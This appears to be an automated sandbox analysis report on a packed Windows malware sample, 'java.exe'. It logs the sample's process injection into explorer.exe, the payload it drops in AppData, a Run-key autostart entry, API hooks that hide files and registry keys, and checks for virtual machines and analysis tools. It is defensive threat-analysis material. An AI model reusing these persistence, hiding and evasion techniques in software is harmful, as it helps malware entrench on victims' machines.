Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: java.exe	ReversingLabs: Detection: 89%
Source: java.exe	Virustotal: Detection: 89%

Source: unknown	Process created: C:\Users\user\Desktop\java.exe C:\Users\user\Desktop\java.exe
Source: C:\Users\user\Desktop\java.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\java.exe	Process created: C:\Windows\SysWOW64\winver.exe winver
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe "C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe"
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe "C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe"
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\java.exe	Process created: C:\Windows\SysWOW64\winver.exe winver	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe "C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe "C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe"	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: java.exe	Static PE information: section name: .imports
Source: bin.exe.2.dr	Static PE information: section name: .imports

Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02230C1A push edi; ret	0_2_02230C56
Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02230B89 push edi; ret	0_2_02230C56
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_03390B65 push edi; ret	2_2_03390C32
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_03390BF6 push edi; ret	2_2_03390C32
Source: C:\Windows\explorer.exe	Code function: 3_2_01340B65 push edi; ret	3_2_01340C32
Source: C:\Windows\explorer.exe	Code function: 3_2_01340BF6 push edi; ret	3_2_01340C32
Source: C:\Windows\explorer.exe	Code function: 3_2_01370B65 push edi; ret	3_2_01370C32
Source: C:\Windows\explorer.exe	Code function: 3_2_01370BF6 push edi; ret	3_2_01370C32
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC0BF6 push edi; ret	4_2_00AC0C32
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC0B65 push edi; ret	4_2_00AC0C32
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00910BF6 push edi; ret	5_2_00910C32
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00910B65 push edi; ret	5_2_00910C32
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A0BF6 push edi; ret	6_2_009A0C32
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A0B65 push edi; ret	6_2_009A0C32
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A50BF6 push edi; ret	7_2_00A50C32
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A50B65 push edi; ret	7_2_00A50C32
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D40BF6 push edi; ret	8_2_00D40C32
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D40B65 push edi; ret	8_2_00D40C32
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B50BF6 push edi; ret	9_2_00B50C32
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B50B65 push edi; ret	9_2_00B50C32
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00110B65 push edi; ret	10_2_00110C32
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00110BF6 push edi; ret	10_2_00110C32
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 13_2_001C0B65 push edi; ret	13_2_001C0C32
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 13_2_001C0BF6 push edi; ret	13_2_001C0C32
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 13_2_02300C1A push edi; ret	13_2_02300C56
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 13_2_02301A92 push esi; ret	13_2_02301A94
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 13_2_02301B61 push esi; ret	13_2_02301B63
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 13_2_02300B89 push edi; ret	13_2_02300C56
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 15_2_00AB0BF6 push edi; ret	15_2_00AB0C32
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 15_2_00AB0B65 push edi; ret	15_2_00AB0C32
Source: C:\Windows\System32\smartscreen.exe	Code function: 16_2_00290B65 push edi; ret	16_2_00290C32

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Windows\SysWOW64\winver.exe

File created: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe

Jump to dropped file

Boot Survival

Creates autostart registry keys with suspicious names

Source: C:\Windows\SysWOW64\winver.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0C0BC82C

Jump to behavior

Source: C:\Windows\SysWOW64\winver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0C0BC82C			Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0C0BC82C			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwResumeThread new code: 0xE9 0x9E 0xE1 0x12 0x25 0x51

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: SearchApp.exe, 0000000B.00000003.1882108297.0000024B5A153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\WIRESHARK\WIRESHARK.EXE
Source: SearchApp.exe, 0000000B.00000003.1882108297.0000024B5A153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 26720RANDOMSALADGAMESLLC.SIMPLEFREECELL_KX24DQMAZQK8J!APP{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\HYPERSNAP 6\HPRSNAP6.EXE{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\TRACKER\TRACKER.EXE{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\MOBIRISE4\MOBIRISE.EXE{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\DOMAIN.MSC{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\CEH-HOD\CEH.BATPP{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\SYNERGETIC\SYNERGY.EXE{6D809377-6AF0-444B-8957-A3773F02200E}\MEDIAINFO\MEDIAINFO.EXE{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\AEGISUB\AEGISUB32.EXE{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\PUREVPN\PUREVPN.EXE{6D809377-6AF0-444B-8957-A3773F02200E}\DBEAVER\DBEAVER.EXESAMSUNGELECTRONICSCOLTD.SAMSUNGNOTES_WYX1VJ98G3ASY!APP12009
Source: SearchApp.exe, 0000000B.00000003.1882108297.0000024B5A153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\FIDDLER2\FIDDLER.EXE
Source: SearchApp.exe, 0000000B.00000003.1882108297.0000024B5A153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\MOBIRISE4\MOBIRISE.EXE
Source: SearchApp.exe, 0000000B.00000003.1882108297.0000024B5A153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\HEIDISQL\HEIDISQL.EXE{6D809377-6AF0-444B-8957-A3773F02200E}\WIRESHARK\WIRESHARK.EXE{6D809377-6AF0-444B-8957-A3773F02200E}\GIMP 2\BIN\GIMP-2.10.EXE{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\ODBCAD32.EXE8593E
Source: SearchApp.exe, 0000000B.00000003.1882108297.0000024B5A153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\ESTSOFT\ALPDF\ALPDF.EXE{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\I4TOOLS7\I4TOOLS.EXE{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\FIDDLER2\FIDDLER.EXE{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\CARS\APPS\BIN\CARS.EXE{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\WINSTEP\NEXUS.EXE11267

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\SysWOW64\winver.exe

RDTSC instruction interceptor: First address: 0000000003392FAD second address: 0000000003392FD6 instructions: 0x00000000 rdtsc 0x00000002 mov eax, edx 0x00000004 stosd 0x00000005 mov eax, dword ptr [ebx+004042B5h] 0x0000000b stosd 0x0000000c mov eax, dword ptr [ebx+004042B9h] 0x00000012 stosd 0x00000013 mov eax, dword ptr [ebx+00406820h] 0x00000019 stosd 0x0000001a mov eax, dword ptr [ebx+00406824h] 0x00000020 stosd 0x00000021 lea eax, dword ptr [ebp-00000700h] 0x00000027 sub edi, eax 0x00000029 rdtsc

Source: C:\Users\user\Desktop\java.exe

Code function: 0_2_02230005 rdtsc

0_2_02230005

Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 833			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 803			Jump to behavior

Source: C:\Windows\SysWOW64\winver.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_2-2921

Source: C:\Windows\SysWOW64\winver.exe TID: 7468

Thread sleep count: 167 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\winver.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\winver.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\ctfmon.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\smartscreen.exe	Last function: Thread delayed
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\ApplicationFrameHost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed
Source: C:\Windows\System32\RuntimeBroker.exe	Last function: Thread delayed

Source: svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;I!
Source: explorer.exe, 00000003.00000002.3031801494.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3031801494.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.000000000982D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1718266506.0000019E29F00000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2948940372.0000019E29F00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SearchApp.exe, 0000000B.00000003.1882108297.0000024B5A153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Microsoft.Office.Excel_8wekyb3d8bbwe!microsoft.excel{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\RemotePC\RPCSuite.exeAirWatchLLC.VMwareWorkspaceONE_htcwkw4rx2gx4!App11496{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Vector Magic\vmde.exe{6D809377-6AF0-444B-8957-A3773F02200E}\vJoy\x64\vJoyConf.exe{6D809377-6AF0-444B-8957-A3773F02200E}\YoloMouse\YoloMouse.exe{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\ExitLag\ExitLag.exe{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Jitsi\Jitsi.exeMAGIX.MusicMakerJam_a2t3txkz9j1jw!MAGIX.MusicMakerJam.App11626{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\ASUS\Splendid\ACVT.exe{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Pritunl\pritunl.exeMicrosoft.HoganThreshold_8wekyb3d8bbwe!xgame.App
Source: explorer.exe, 00000003.00000000.1637129940.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: SearchApp.exe, 0000000B.00000000.1797450893.0000024B44184000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1767315960.0000024B41F45000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1780931087.0000024B42D43000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: var fbpkgiid = fbpkgiid \|\| {}; fbpkgiid.page = '';;(function(BingAtWork) { if (typeof (bfbWsbTel) !== "undefined") { BingAtWork.WsbWebTelemetry.init({"cfg":{"e":true,"env":"PROD","t":"33d70a864599496b982a39f036f71122-2064703e-3a9d-4d90-8362-eec08dffe8e8-7176"},"ig":"892FA07886414BDF8EE1764A59FF39C6","ConversationId":"21139c92-d559-45ad-9d8f-73e2a64bf7e7","LogicalId":"30363daf-0e99-4b56-afae-f0c5eee8522a","tid":"651d53d035ec4c7eba14a4092e8aedb0","sid":"193A581F83766B4319784BBF829B6A16","uid":"","muid":"6666694284484FA1B35CCB433D42E997","puid":null,"isMtr":false,"tn":null,"tnid":null,"msa":false,"mkt":"en-us","b":"edge","eref":"Ref A: 651d53d035ec4c7eba14a4092e8aedb0 Ref B: MWHEEEAP0024F6D Ref C: 2023-10-04T12:00:16Z","vs":{"BAW12":"BFBBCEJIT2","BAW2":"BFBSPRC","BAW5":"PREMSBCUSTVERT","BAW7":"BFBPROWSBINITCF","CLIENT":"WINDOWS","COLUMN":"SINGLE","FEATURE.BFBBCEJIT":"1","FEATURE.BFBBCEJIT2":"1","FEATURE.BFBEDUQWQSCLKWSB":"1","FEATURE.BFBPROWSBINITCF":"1","FEATURE.BFBREFRPLAN":"1","FEATURE.BFBSPRC":"1","FEATURE.BFBWSBRS0830TF":"1","FEATURE.MSAAUTOJOIN":"1","FEATURE.MSBDSBIGLEAM":"1","FEATURE.MSBDSBORGV2":"1","FEATURE.MSBDSBORGV2CO":"1","FEATURE.MSBWDSBI920T1":"1","FEATURE.MSNSBT1":"1","FEATURE.WSBREF-T":"1","MKT":"EN-US","MS":"0","NEWHEADER":"1","THEME":"THBRAND","UILANG":"EN"},"dev":"DESKTOP","os":"WINDOWS","osver":"11","dc":"CoreUX-Prod-MWHE01","canvas":"","sci":true,"isMidgardEnabled":true,"isHomepage":false,"snrVersion":"2023.10.03.39942242"}); } })(BingAtWork \|\| (BingAtWork = {}));;_w.rms.js({'A:rms:answers:BoxModel:Framework':'https:\/\/r.bing.com\/rb\/18\/jnc,nj\/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w'});;
Source: SearchApp.exe, 0000000B.00000000.1781018037.0000024B42D64000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware.View.Client
Source: winver.exe, 00000002.00000002.2893076976.0000000003287000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}}
Source: explorer.exe, 00000003.00000002.2985052008.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware horizon client\|vm ware8394
Source: explorer.exe, 00000003.00000000.1637129940.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000003.00000000.1634162143.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: SearchApp.exe, 0000000B.00000003.1812545124.0000024B5CBD6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: net\5.1.0\|vmware workstation 12 player\|vmpl5459
Source: SearchApp.exe, 0000000B.00000000.1781018037.0000024B42D64000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware.View.Client12451
Source: explorer.exe, 00000003.00000002.3031801494.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: SearchApp.exe, 0000000B.00000003.1883649123.0000024B5CBD7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware horizon client\|vmare7220\nero.exe
Source: explorer.exe, 00000003.00000002.2985052008.0000000007A34000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware workstation 12 player\|vmpl5459
Source: SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|\|vmware6886
Source: SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A54E000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|hyper-v manager\|vm4595
Source: SearchApp.exe, 0000000B.00000003.1804124700.0000024B44464000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|*\|qemu10642
Source: explorer.exe, 00000003.00000000.1636199688.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: SearchApp.exe, 0000000B.00000000.1855361847.0000024B55CC4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware.Horizon.Client
Source: SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware horizon client\|vmare7220
Source: RuntimeBroker.exe, 0000000A.00000002.2923038092.000001ECFA2A4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.1637129940.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware workstation 15 player\|vmplayer6438
Source: explorer.exe, 00000003.00000002.2905026359.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000003.00000002.2985052008.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: SearchApp.exe, 0000000B.00000003.1812545124.0000024B5CBD6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: !!!!!!!MKKSkSe\|vmware vsphere client\|vspe6388
Source: SearchApp.exe, 0000000B.00000003.1812545124.0000024B5CBD6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: E}\MediaHuman\A\|vmware horizon client\|vdi3894
Source: SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A54E000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|\|qemu10642
Source: SearchApp.exe, 0000000B.00000000.1771919499.0000024B425C1000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1759250182.00000243411CA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;nlse]
Source: SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A54E000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|hyper-v manager\|hyperv4178
Source: SearchApp.exe, 0000000B.00000000.1855361847.0000024B55CC4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware.Workstation.vmui
Source: SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A54E000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|hyper-v manager\|virtual5441
Source: explorer.exe, 00000003.00000000.1640106442.000000000CA7C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}r.exe
Source: SearchApp.exe, 0000000B.00000003.1812545124.0000024B5CBD6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: {7C5A4\|vmware vsphere client\|vcenter5038
Source: SearchApp.exe, 0000000B.00000003.1812545124.0000024B5CBD6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: F-A0FB-4BFC-874\|vmware horizon client\|vmare7220
Source: explorer.exe, 00000003.00000000.1640106442.000000000CA7C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}\
Source: svchost.exe, 00000005.00000000.1715119977.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2921088315.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1754943527.000002433B786000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: SearchApp.exe, 0000000B.00000003.1882108297.0000024B5A153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: AirWatchLLC.VMwareWorkspaceONE_htcwkw4rx2gx4!App
Source: SearchApp.exe, 0000000B.00000003.1882108297.0000024B5A153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\Hyper-V\VMCreate.exe
Source: explorer.exe, 00000003.00000002.2985052008.00000000078A0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000003.00000002.3031801494.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000003.00000000.1637129940.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: SearchApp.exe, 0000000B.00000003.1812545124.0000024B5CBD6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: l 2017\Petrel\|vmware horizon client\|vm ware8394
